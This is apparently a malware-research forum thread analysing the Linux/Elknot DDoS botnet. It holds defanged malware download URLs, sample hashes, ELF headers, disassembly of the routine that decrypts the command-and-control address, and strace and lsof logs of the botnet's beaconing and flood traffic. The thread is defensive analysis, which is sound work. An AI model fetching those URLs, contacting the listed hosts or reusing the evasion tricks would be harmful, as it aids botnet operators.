Linux/Elknot (Windows DDoS botnet, alias DnsAmp)

Forum for analysis and discussion about malware.

Linux/Elknot (Windows DDoS botnet, alias DnsAmp)

Postby teddybear » Tue Dec 24, 2013 6:59 pm

http://www.cert.pl/news/7849/langswitch_lang/en

Linux samples from these URLs are in attachment:
Code: Select all
hxxp://www.dgnfd564sdf.com:8080/atdd
hxxp://www.dgnfd564sdf.com:8080/cupsdd
hxxp://www.dgnfd564sdf.com:8080/ksapd
hxxp://www.dgnfd564sdf.com:8080/sksapd
hxxp://www.dgnfd564sdf.com:8080/kysapd
hxxp://www.dgnfd564sdf.com:8080/skysapd


ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
You do not have the required permissions to view the files attached to this post.
Last edited by EP_X0FF on Thu Sep 11, 2014 12:22 am, edited 2 times in total.
Reason: title edit
User avatar
teddybear
 
Posts: 16
Joined: Tue Sep 24, 2013 11:06 am
Reputation point: 2

Re: Linux/Windows DDoS botnet

Postby teddybear » Sun Dec 29, 2013 3:36 pm

I would like to thank @unixfreakjp for the nice writing here:
http://malwaremustdie.blogspot.it/2013/ ... p-elf.html
User avatar
teddybear
 
Posts: 16
Joined: Tue Sep 24, 2013 11:06 am
Reputation point: 2

DoS:Linux/Elknot.C

Postby onthar » Wed Feb 26, 2014 3:09 pm

You do not have the required permissions to view the files attached to this post.
User avatar
onthar
 
Posts: 17
Joined: Wed Jun 01, 2011 9:03 pm
Location: Russia
Reputation point: 10

Linux/DnsAmp

Postby unixfreaxjp » Wed Sep 10, 2014 8:39 pm

My first post for this threat was started in here. This is NOT "IptabLes|x" and NOT "BillGates" one.
http://blog.malwaremustdie.org/2013/12/ ... p-elf.html
After a while it was improved with x64 samples so I write again with ways to reverse this here:
http://blog.malwaremustdie.org/2014/05/ ... h-elf.html
Is being used as reference i.e.here:
http://www.cert.at/services/blog/201407 ... 91_en.html

This threat is DDoS'er, among other functions, like backdoor etc. Originally from China network. AV commonly naming this variant as Mayday, Elknot, or DDoS.x This samples & actors was spotted when they are first started to implement the DNS/Amplification function. Samples tested are:
Filename: disknyp: https://www.virustotal.com/en/file/9e2f ... /analysis/
Code: Select all
 // netstat of CNC
 tcp        0      0 127.0.0.1:xxx                0.0.0.0:*                   LISTEN      -                 
 tcp        0     27 diemoronz.mmd.org:39445     190.115.20.27:59870         ESTABLISHED 7391/disknyp <=== w000t!!!

Filename: ms20: https://www.virustotal.com/en/file/ea7b ... /analysis/
Code: Select all
// netstat of CNC
 ms20      13858    operator    3u     IPv4     685671      TCP MMD:38016->190.115.20.11:59870 (ESTABLISHED) <=== W000T!!!
// PSH,ACK sent as beacon (pcap):
 0.000000        x.x.x.x 190.115.20.11   TCP     93      38016 > 59870 [PSH, ACK] Seq=1 Ack=1 Win=1460 Len=27 TSval=2115940204 TSecr=1159829

CNC callbacks (at that time , in these samples) were all hard coded in the ELF, proven by the test, went to the "ddos-guard.net" , looks like that time this DDoS actor is hiding behind an Anti-DDoS service. Recently are calling back to the Chinese HFS web server panels whree it was served.

The way this variant is hiding their CNC is by a typical obfuscation they called it as "crypting", advice: maybe it would be better make sigs by the "CUtility::DeCrypt" logic, I made my own scanner for detecting this variant among bunch of samples successfully, why AV dont do similar?
Code: Select all
.text:0x805094E push    offset a281206302 ; "281-206-3//02" <=== IP address "encrypted"
.text:0x8050953 push    0FFh
.text:0x8050958 lea     eax, [ebp+var_10C]
.text:0x805095E push    eax
.text:0x805095F call    _ZN8CUtility7DeCryptEPciPKci ; CUtility::DeCrypt(char *,int,char  const*,int) <== decrypt IP
.text:0x8050964 add     esp, 10h
.text:0x8050967 push    0Ah
.text:0x8050969 push    offset a68961   ; "68961" <=== Port number "encrypted"
.text:0x805096E push    0FFh
.text:0x8050973 lea     eax, [ebp+var_20C]
.text:0x8050979 push    eax
.text:0x805097A call    _ZN8CUtility7DeCryptEPciPKci ; CUtility::DeCrypt(char *,int,char  const*,int)  <== decrypt port
.text:0x805097F add     esp, 10h
.text:0x8050982 sub     esp, 0Ch
.text:0x8050985 lea     eax, [ebp+var_5]
.text:0x8050988 push    eax
Hashes:
Code: Select all
MD5 (disknyp) = 260533ebd353c3075c9dddf7784e86f9
MD5 (m20) = 7348efce3d373ee1a3ac18c6c0796a84
(and some two recent ones..


Additional:
*) An analysis log of one spotted in July 2014; http://pastebin.com/dhvAEH4D
Sample: https://www.virustotal.com/en/file/1903 ... 406548491/

malwaremustdie.org
You do not have the required permissions to view the files attached to this post.
unixfreaxjp
 
Posts: 501
Joined: Thu Apr 12, 2012 4:53 pm
Reputation point: 89

Re: Linux/Elknot (DDoS botnet, alias DnsAmp)

Postby unixfreaxjp » Thu Sep 11, 2014 2:45 am

The threat is improving. Now the obfuscation technique. This explanation is in this real PoC.
Sample: (attached)
Code: Select all
-rwxr--r--   1 mmd mmd  2492148 Jul 20 06:47 txmap*
$ md5 txmap
MD5 (txmap) = 917a2a3d8c30282acbe7b1ff121a4336
https://www.virustotal.com/en/file/92c87b7bddb66de8a5a27d944b5d4b46c59b38047b8a5fc381118c615c3775f9/analysis/1406605801/
Static analysis:
Code: Select all
File size 2.4 MB ( 2492148 bytes )
File type ELF, Magic literal
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
statically linked, for GNU/Linux 2.6.9, stripped
FileAccessDate
   2014:07:20 00:17:03+01:00
FileCreateDate
   2014:07:20 00:17:03+01:00

ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0x8048130
  Start of program headers:          52 (bytes into file)
  Start of section headers:          2491188 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         5
  Size of section headers:           40 (bytes)
  Number of section headers:         24
  Section header string table index: 23

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .note.ABI-tag     NOTE            080480d4 0000d4 000020 00   A  0   0  4
  [ 2] .init             PROGBITS        080480f4 0000f4 000030 00  AX  0   0  4
  [ 3] .text             PROGBITS        08048130 000130 0bde0c 00  AX  0   0 16
  [ 4] __libc_freeres_fn PROGBITS        08105f40 0bdf40 000ffa 00  AX  0   0 16
  [ 5] .fini             PROGBITS        08106f3c 0bef3c 00001c 00  AX  0   0  4
  [ 6] .rodata           PROGBITS        08106f60 0bef60 018720 00   A  0   0 32
  [ 7] __libc_subfreeres PROGBITS        0811f680 0d7680 00002c 00   A  0   0  4
  [ 8] __libc_atexit     PROGBITS        0811f6ac 0d76ac 000004 00   A  0   0  4
  [ 9] .eh_frame         PROGBITS        0811f6b0 0d76b0 0195b0 00   A  0   0  4
  [10] .gcc_except_table PROGBITS        08138c60 0f0c60 004725 00   A  0   0  4
  [11] .tdata            PROGBITS        0813e388 0f5388 000010 00 WAT  0   0  4
  [12] .tbss             NOBITS          0813e398 0f5398 000020 00 WAT  0   0  4
  [13] .ctors            PROGBITS        0813e398 0f5398 000024 00  WA  0   0  4
  [14] .dtors            PROGBITS        0813e3bc 0f53bc 00000c 00  WA  0   0  4
  [15] .jcr              PROGBITS        0813e3c8 0f53c8 000004 00  WA  0   0  4
  [16] .data.rel.ro      PROGBITS        0813e3e0 0f53e0 000814 00  WA  0   0 32
  [17] .got              PROGBITS        0813ebf4 0f5bf4 000078 04  WA  0   0  4
  [18] .got.plt          PROGBITS        0813ec6c 0f5c6c 00000c 04  WA  0   0  4
  [19] .data             PROGBITS        0813ec80 0f5c80 16a0f4 00  WA  0   0 32
  [20] .bss              NOBITS          082a8d80 25fd74 007748 00  WA  0   0 32
  [21] __libc_freeres_pt NOBITS          082b04c8 25fd74 000014 00  WA  0   0  4
  [22] .comment          PROGBITS        00000000 25fd74 0004da 00      0   0  1
  [23] .shstrtab         STRTAB          00000000 26024e 0000e4 00      0   0  1

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  LOAD           0x000000 0x08048000 0x08048000 0xf5385 0xf5385 R E 0x1000
  LOAD           0x0f5388 0x0813e388 0x0813e388 0x16a9ec 0x172154 RW  0x1000
  NOTE           0x0000d4 0x080480d4 0x080480d4 0x00020 0x00020 R   0x4
  TLS            0x0f5388 0x0813e388 0x0813e388 0x00010 0x00030 R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4

 Section to Segment mapping:
  Segment Sections...
   00     .note.ABI-tag .init .text __libc_freeres_fn .fini .rodata __libc_subfreeres __libc_atexit .eh_frame .gcc_except_table
   01     .tdata .ctors .dtors .jcr .data.rel.ro .got .got.plt .data .bss __libc_freeres_ptrs
   02     .note.ABI-tag
   03     .tdata .tbss

There are no section groups in this file.
There is no dynamic section in this file.
There are no relocations in this file.
There are no unwind sections in this file.
No version information found in this file.

Notes at offset 0x000000d4 with length 0x00000020:
  Owner      Data size   Description
  GNU      0x00000010   NT_VERSION (version)

Source code filenames:
Code: Select all
Fake.cpp
Global.cpp
main.cpp
Manager.cpp
ServerIP.cpp
StatBase.cpp
ThreadAttack.cpp
ThreadHostStatus.cpp
ThreadTaskManager.cpp
ThreadTimer.cpp
AutoLock.cpp
FileOp.cpp
Log.cpp
Md5.cpp
Media.cpp
NetBase.cpp
ThreadCondition.cpp
Thread.cpp
ThreadMutex.cpp
Utility.cpp

path accessed:
Code: Select all
/bin/sh
/cpuinfo
/dev/console
/dev/full
/dev/log
/dev/null
/dev/tty
/etc/fstab
/etc/host.conf
/etc/ld.so.cache
/etc/localtime
/etc/mtab
/etc/nsswitch.conf
/etc/resolv.conf
/etc/suid-debug
/gcof
/lib/
/lib/obsolete/linuxthreads/
/loc
/locale.alias
/meminfo
/proc
/proc/
/proc/%d/exe
/proc/cpuinfo
/proc/cpuinfo
/proc/meminfo
/proc/net
/proc/net/dev
/proc/self/exe
/proc/self/exe
/proc/self/maps
/proc/self/maps
/proc/stat
/proc/stat
/proc/sys/kernel/ngroups_max
/proc/sys/kernel/ngroups_max
/proc/sys/kernel/osrelease
/proc/sys/kernel/osrelease
/proc/sys/kernel/rtsig-max
/proc/sys/kernel/rtsig-max
/proc/sys/kernel/version
/staf
/usr
/usr/lib/
/usr/lib/gconv
/usr/lib/gconv/gconv-modules.cache
/usr/lib/locale
/usr/lib/locale/locale-archive
/usr/libexec/getconf
/usr/lib/gconv/gconv-modules.cache
/usr/lib/locale
/usr/lib/locale/locale-archive
/usr/libexec/getconf
/usr/share/locale
/usr/share/zoneinfo
/var/profile
/var/run/nscd/socket
/var/tmp

Compilation & dependency
Code: Select all
// Where it was compiled:
GCC: (GNU) 4.0.0 20050519 (Red Hat 4.0.0-8)
GCC: (GNU) 4.0.0 20050519 (Red Hat 4.0.0-8)
GCC: (GNU) 4.0.0 20050519 (Red Hat 4.0.0-8)
GCC: (GNU) 4.0.0 20050519 (Red Hat 4.0.0-8)
GCC: (GNU) 4.0.0 20050519 (Red Hat 4.0.0-8)
// And the compat:
GCC: (GNU) 4.2.1
// Libs needed:
ld.so-1.7.0
/etc/ld.so.cache
glibc-ld.so.cache1.1

Same lang traces, same environment:
Code: Select all
.data:08223C38 aINZD db 'エエスィヤュハシフラスモラヨハァーワ(%d)',0Dh,0Ah,0

In reversing this type. You cannot see what it is without a good disassembler tool. Not as per previous post.
Because functions are-address based, it is obfuscated (tons of tools can make it, donno which one is used, but who cares..)
If you go to EP: start() to be hammered by these pushed subroutines:
Code: Select all
 xor     ebp, ebp
  pop     esi
  mov     ecx, esp
  and     esp, 0FFFFFFF0h
  push    eax
  push    esp
  push    edx
  push    offset sub_80A9700
  push    offset sub_80A9740
  push    ecx
  push    esi
  push    offset sub_804826
This is a kind of signature, for me.
In my way, figured each function one by one, trail it until you meet the static call of kernel syscall and make the table of it.
Put it back the table of syscall to the opcodes addess, you can trail how it works like;
Code: Select all
Go to: sub_80A8FC0 start! ;; obviously.. a start.
Go to: sub_80D8380 switch ;; 31 cases: 0x21, 0x20, 17, 11, 6, 10, E, D , C ,B , 5, 3
Go to: sub_80D4290 LINUX - sys_newuname
Go to: loc_80A91E8 Read: "/proc/sys/kernel/osrelease"
Go to: sub_80D5450 LINUX - sys_read
(and so on..)
This way I can confirm the similarity to confirm this family.

I use many breakpoint to debug the malware (sorry, since crooks maybe read this I cant explain "how")
The concept is launched the parrent, put the break point right after the forking about to be started:
Code: Select all
execve("./MALWARE", ["./MALWARE"], [/* 16 vars */]) = 0
uname({sys="Linux", node="1x111", ...}) = 0
brk(0)                                  = 0x90fc000
brk(0x90fccb0)                          = 0x90fccb0
set_thread_area(0xfff95c2c)             = 0
brk(0x911dcb0)                          = 0x911dcb0
brk(0x911e000)                          = 0x911e000
readlink("/proc/self/exe", "../mmd/test/MALWARE", 1024) = 18
rt_sigaction(SIGINT, {SIG_IGN, [], 0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_IGN, [], 0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
clone(child_stack=0, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xfff94ff4) = 28481
waitpid(28481, [{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0) = 28481
rt_sigaction(SIGINT, {SIG_DFL, [], 0}, NULL, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL, [], 0}, NULL, 8) = 0
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
--- SIGCHLD (Child exited) @ 0 (0) ---
clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0) = 28483
rt_sigaction(SIGINT, {SIG_IGN, [], 0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_IGN, [], 0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
clone(child_stack=0, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xfff94ff4) = 28484
waitpid(28484, [{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0) = 28484
rt_sigaction(SIGINT, {SIG_DFL, [], 0}, NULL, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL, [], 0}, NULL, 8) = 0
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
--- SIGCHLD (Child exited) @ 0 (0) ---
clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0) = 28486
exit_group(0)  // <==== Put breakpoint before forking started

Make sure the new process:
Code: Select all
// examine:
// new process forked:
29547 ?        Ssl    0:00 (MALWARE)

Let it run abit after you see list of files sockets goes like this:
Code: Select all
MALWARE 28756  mmd  cwd    DIR     9,2     4096 29757163 /home/mmd/test
MALWARE 28756  mmd  rtd    DIR     9,2     4096        2 /
MALWARE 28756  mmd  txt    REG     9,2  1480387 29763093 /home/mmd/test/MALWARE (deleted)
MALWARE 28756  mmd    0u   CHR     1,3      0t0     1027 /dev/null
MALWARE 28756  mmd    1u   CHR     1,3      0t0     1027 /dev/null
MALWARE 28756  mmd    2u   CHR     1,3      0t0     1027 /dev/null
Break it here to record the registers.
And then release the breakpoint, and you will see the INET connection started in debug codes, and also in monitor like below, question is ...what's the different with the process above?? See below too:
Code: Select all
MALWARE     29547 mmd    3u  IPv4 7932614      0t0      TCP serpico.malwaremustdie.org:60162->183.60.202.59:10991 (ESTABLISHED)
Confirm it by checking the socket:
Code: Select all
tcp        0     27 x.x.x.x:60224       183.60.202.59:10991     ESTABLISHED 29547/
Voila! you see the same PID shown in the next fork that had just started. This shows INET won't be started as parent mode but as child, good reversing information.
PS: CNC Information: China!
Code: Select all
$ echo 183.60.202.59 | bash /malware/checkdomains/origin.sh
183.60.202.59||4134 | 183.0.0.0/10 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET GUANGDONG PROVINCE NETWORK

And after waiting a little while some attacks will start, one of the type is DNS AMP:
DDoS PoC recorded, you'll see tons of these in action :)
Code: Select all
1 11018 11020 mmd 3u IPv4 19591952 0t0 TCP x.x.x.x:44103->1.1.1.1:sunrpc (SYN_SENT)

Analysis
You do not have the required permissions to view the files attached to this post.
Last edited by unixfreaxjp on Thu Sep 11, 2014 3:08 am, edited 2 times in total.
unixfreaxjp
 
Posts: 501
Joined: Thu Apr 12, 2012 4:53 pm
Reputation point: 89

Re: Linux/Elknot (Windows DDoS botnet, alias DnsAmp)

Postby unixfreaxjp » Thu Sep 11, 2014 3:02 am

It looks like the crooks are following our twitter & virus total :)
The next week AFTER the previously posted sample, they changed the sample. It makes another variant :D
Sample: https://www.virustotal.com/latest-scan/ ... b1ee389335
Code: Select all
File : txman
MD5    : 15642a0c5b4821e13991ed51acbf5a51
SHA256 : 38bec940f641c8c6c9d9c3741691dc18940fcbc9d1f8e09f2d23c4b1ee389335

So this is what happened↓
Code: Select all
-rw-r--r--  1 mmd mmd 1153640 Jul 30 13:03 txman-packed
smaller size? Why?
Code: Select all
0000   7F 45 4C 46 01 01 01 03 00 00 00 00 00 00 00 00    .ELF............
0010   02 00 03 00 01 00 00 00 68 A2 D1 00 34 00 00 00    ........h...4...
0020   00 00 00 00 00 00 00 00 34 00 20 00 02 00 28 00    ........4. ...(.
0030   00 00 00 00 01 00 00 00 00 00 00 00 00 10 C0 00    ................
0040   00 10 C0 00 44 9A 11 00 44 9A 11 00 05 00 00 00    ....D...D.......
0050   00 10 00 00 01 00 00 00 DC 04 00 00 DC 04 2B 08    ..............+.
0060   DC 04 2B 08 00 00 00 00 00 00 00 00 06 00 00 00    ..+.............
0070   00 10 00 00 81 9C 52 92 55 50 58 21 DA 07 0D 0C    ......R.UPX!....
:D I really feel being insulted by this moronz..
so..
Code: Select all
        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
   2492151 <-   1153640   46.29%  netbsd/elf386  txman-unpacked

This was successfully making this ELF becoming FUD again :-((( And below header comparison explained a lot..

Before depack:
Code: Select all
  Magic:   7f 45 4c 46 01 01 01 03 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2s complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - Linux
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0xd1a268
  Start of program headers:          52 (bytes into file)
  Start of section headers:          0 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         2
  Size of section headers:           40 (bytes)
  Number of section headers:         0
  Section header string table index: 0

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  LOAD           0x000000 0x00c01000 0x00c01000 0x119a44 0x119a44 R E 0x1000
  LOAD           0x0004dc 0x082b04dc 0x082b04dc 0x00000 0x00000 RW  0x1000

There are no sections in this file.
There is no dynamic section in this file.
There are no relocations in this file.
There are no unwind sections in this file.
No version information found in this file.

And after depack:
Code: Select all
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2s complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0x8048130
  Start of program headers:          52 (bytes into file)
  Start of section headers:          2491188 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         5
  Size of section headers:           40 (bytes)
  Number of section headers:         24
  Section header string table index: 23

  Section Headers:
    [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
    [ 0]                   NULL            00000000 000000 000000 00      0   0  0
    [ 1] .note.ABI-tag     NOTE            080480d4 0000d4 000020 00   A  0   0  4
    [ 2] .init             PROGBITS        080480f4 0000f4 000030 00  AX  0   0  4
    [ 3] .text             PROGBITS        08048130 000130 0bde0c 00  AX  0   0 16
    [ 4] __libc_freeres_fn PROGBITS        08105f40 0bdf40 000ffa 00  AX  0   0 16
    [ 5] .fini             PROGBITS        08106f3c 0bef3c 00001c 00  AX  0   0  4
    [ 6] .rodata           PROGBITS        08106f60 0bef60 018720 00   A  0   0 32
    [ 7] __libc_subfreeres PROGBITS        0811f680 0d7680 00002c 00   A  0   0  4
    [ 8] __libc_atexit     PROGBITS        0811f6ac 0d76ac 000004 00   A  0   0  4
    [ 9] .eh_frame         PROGBITS        0811f6b0 0d76b0 0195b0 00   A  0   0  4
    [10] .gcc_except_table PROGBITS        08138c60 0f0c60 004725 00   A  0   0  4
    [11] .tdata            PROGBITS        0813e388 0f5388 000010 00 WAT  0   0  4
    [12] .tbss             NOBITS          0813e398 0f5398 000020 00 WAT  0   0  4
    [13] .ctors            PROGBITS        0813e398 0f5398 000024 00  WA  0   0  4
    [14] .dtors            PROGBITS        0813e3bc 0f53bc 00000c 00  WA  0   0  4
    [15] .jcr              PROGBITS        0813e3c8 0f53c8 000004 00  WA  0   0  4
    [16] .data.rel.ro      PROGBITS        0813e3e0 0f53e0 000814 00  WA  0   0 32
    [17] .got              PROGBITS        0813ebf4 0f5bf4 000078 04  WA  0   0  4
    [18] .got.plt          PROGBITS        0813ec6c 0f5c6c 00000c 04  WA  0   0  4
    [19] .data             PROGBITS        0813ec80 0f5c80 16a0f4 00  WA  0   0 32
    [20] .bss              NOBITS          082a8d80 25fd74 007748 00  WA  0   0 32
    [21] __libc_freeres_pt NOBITS          082b04c8 25fd74 000014 00  WA  0   0  4
    [22] .comment          PROGBITS        00000000 25fd74 0004da 00      0   0  1
    [23] .shstrtab         STRTAB          00000000 26024e 0000e4 00      0   0  1

Shortly, I can PoC the reversed CNC by below, yes we have NEW CNC by the same moronz, see how our test machine info was sent :D
Code: Select all
connect(3, {sa_family=AF_INET, sin_port=htons(10991), sin_addr=inet_addr("60.173.10.184")}, 16) = -1 EINPROGRESS (Operation now in progress)
setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0
send(3, "\270\v\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0Linux 3.2.0-4-a"..., 401, 0
And it is CHINA (oh not again!! ;))
Code: Select all
60.173.10.184||4134 | 60.168.0.0/13 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET ANHUI PROVINCE NETWORK

DoS PoC:
Code: Select all
1 13042 14225 mmd 3u IPv4 19591952 0t0 TCP x.x.x.x:44103->1.1.1.1:sunrpc (SYN_SENT)


#MalwareMustDie!
You do not have the required permissions to view the files attached to this post.
unixfreaxjp
 
Posts: 501
Joined: Thu Apr 12, 2012 4:53 pm
Reputation point: 89

Re: Linux/Elknot (Windows DDoS botnet, alias DnsAmp)

Postby unixfreaxjp » Thu Sep 11, 2014 4:37 am

This "Elknot" is trying to get into victim server via Apache Struts.
Case: http://yinette.github.io/blog/2014/09/0 ... t-attempt/
I reversed in here: http://pastebin.com/949Y8a3g

Nothing special except after gaining shell via Struts exploit it tried to gain the root by using kernel exploit then downloading the payload (the malware that I reeversed) the Elknot, in x32 or x64: https://gist.github.com/anonymous/c947a9c3109a5fe353e8
And that is for installing these malware properly..
VT:
x32: https://www.virustotal.com/en/file/bb47 ... 409687242/
x64: https://www.virustotal.com/en/file/d2b3 ... 409729124/

CNC:
Code: Select all
connect(3, {sa_family=AF_INET, sin_port=htons(54460), sin_addr=inet_addr("61.147.103.21")}, 16)
send(3, "\270\v\0\0\0N.%EN.%E\20'`\352MMD-IS-BANGING-YOU-B1TCH! x.x.x.x"..., 401, 0)
You do not have the required permissions to view the files attached to this post.
unixfreaxjp
 
Posts: 501
Joined: Thu Apr 12, 2012 4:53 pm
Reputation point: 89

Re: Linux/Elknot (Windows DDoS botnet, alias DnsAmp)

Postby malwarelabs » Fri Sep 12, 2014 12:55 pm

Two other samples.
Filename: shyen ae4bd538136d7df53c60353e8b6e87b8 https://www.virustotal.com/en/file/a42f ... 410526240/
Filename: uhdyp 659194bdd0fc16ec9c037c9f59af4a3d https://www.virustotal.com/en/file/44ec ... 410526313/

Originaly packed with UPX. Unpacked sample in attachment
You do not have the required permissions to view the files attached to this post.
malwarelabs
 
Posts: 44
Joined: Tue Dec 10, 2013 9:07 am
Reputation point: 18

Unclassified Linux backdoor

Postby K_Mikhail » Fri Sep 12, 2014 7:20 pm

You do not have the required permissions to view the files attached to this post.
K_Mikhail
 
Posts: 41
Joined: Tue Apr 13, 2010 4:13 pm
Reputation point: 15

Linux/Elknot (DDoS botnet) | Re: Unclassified Linux backdoor

Postby unixfreaxjp » Sat Sep 13, 2014 6:26 am

K_Mikhail wrote:https://www.virustotal.com/ru/file/909a4ce95893ea16075ea478abcff3d6c34b1c90e91640a1fb718116cf8abf86/analysis/1410549449/
https://www.virustotal.com/ru/file/7d2b ... 410549460/
source: pingyan-china.com

First, thank you very much for the kindly share!. I posted the reply, but looks like the topic has been thankfully merged so I re-typed comment:

This is exactly the ARM version that previously I reported here: viewtopic.php?f=16&t=3099#p23874
Your sample is Intel x32 ones, so assembly is much more familiar than the ARM version, yet has some a bit adjustment related to the Intel version. I would say that ARM version was designed for that purpose and these samples are generic versions.
PoC of the similarity is in many codes, i.e., in here: (see the /dev/null used)
Code: Select all
.text:0x804BBF8  push    offset file     ; "/dev/null"
.text:0x804BBFD  call    _open
.text:0x804BC02  add     esp, 10h
.text:0x804BC05  sub     esp, 8
.text:0x804BC08  push    2               ; oflag
.text:0x804BC0A  push    offset file     ; "/dev/null"
.text:0x804BC0F  call    _open
.text:0x804BC14  add     esp, 10h
.text:0x804BC17  sub     esp, 8
.text:0x804BC1A  push    2               ; oflag
.text:0x804BC1C  push    offset file     ; "/dev/null"
.text:0x804BC21  call    _open

and here: (the template used to send info to remote)
Code: Select all
.text:0x804AA42  push    ebp
.text:0x804AA43  mov     ebp, esp
.text:0x804AA45  sub     esp, 408h
.text:0x804AA4B  sub     esp, 0Ch
.text:0x804AA4E  push    ds:usage
.text:0x804AA54  push    ds:netuse
.text:0x804AA5A  push    offset aInfoDD  ; "INFO:%d|%d"
.text:0x804AA5F  push    400h            ; maxlen
.text:0x804AA64  lea     eax, [ebp+buf]
.text:0x804AA6A  push    eax     

and in here:
Code: Select all
 (the /etc/.msys) file created
.text:0x804BD38  push    ebp
.text:0x804BD39  mov     ebp, esp
.text:0x804BD3B  sub     esp, 18h
.text:0x804BD3E  mov     [ebp+file], offset aEtc_mysys ; "/etc/.mysys"
.text:0x804BD45  sub     esp, 8
.text:0x804BD48  push    42h             ; oflag
.text:0x804BD4A  push    [ebp+file]      ; file
.text:0x804BD4D  call    _open
.text:0x804BD52  add     esp, 10h
.text:0x804BD55  mov     [ebp+fd], eax
.text:0x804BD58  cmp     [ebp+fd], 0
.text:0x804BD5C  jg      short loc_804BD67
.text:0x804BD5E  mov     [ebp+var_C], 0
.text:0x804BD65  jmp     short loc_804BD8B
and many other minor spots too.

For the different and additional details is as per below:

In this Intel version they tried to "convince" this as "WinHelp32 Remote Control Tool's Service", I am not Microsoft system expert but never hear such name before ))
Code: Select all
0x044AC    WinHelp32.exe
0x044CC    WinHelp32
0x04530    WinHelp32 Service
0x04594    WinHelp32 Remote Control Tool's Service

Attack method named (some use new names with a compete same crap as other Elknot(s))
Code: Select all
DNSFlood
SynFlood
StreamFlood
WebWXCCFlood
ICMPFlood
UDPFlood

Compiled source code and include files used suggesting new build, minor variant..or different crook.
Code: Select all
crtstuff.c
auto_start.c
main.c
signal_process.c

Compilation include header/lib files (the one goes with #define/#include):
Code: Select all
 utime.h
 types.h
 stat.h
 time.h
 Head.h
 DDos.h
 netdb.h
 sockaddr.h
 tcp.h
 stdio.h
 libio.h
 stddef.h
 select.h
 socket.h
 unistd.h
 utsname.h
 kernel.h
 pthreadtypes.h

Compiled environment:
Code: Select all
GNU C 3.4.6 20060404 (Red Hat 3.4.6-9)

Dependency:
Code: Select all
/lib/ld-linux.so.2'
/lib/libpthread.so.0
/lib/libc.so.6


CNC is below.. we're dealing with malware amateur programmer yet know how to code well here..
Code: Select all
61.147.103.21||65222 | 61.147.103.21/32 | -Private |  | CHINATELECOM.COM.CN | CHINANET JIANGSU PROVINCE NETWORK
This malware is not whole new in design, yet is new in compilation/build. Right was released in the same timing with the same ARM version few days before, thanks for finding this. It uses many previous Elknot tricks/codes. But with more simplification. Maybe to support multi arc compilation..who knows. Whoever coded this, his project has just been started..

Comment to generally Elknot: Recently this malware family spotted a lot in many hacked servers. Variants are changing fast, we saw many new functions, obfuscation, evasion, are implemented in each campaign. Please help to post more samples so we all can trace well the progress of this threat. With thank you in advance.
unixfreaxjp
 
Posts: 501
Joined: Thu Apr 12, 2012 4:53 pm
Reputation point: 89

Next

Return to Malware

Who is online

Users browsing this forum: No registered users and 13 guests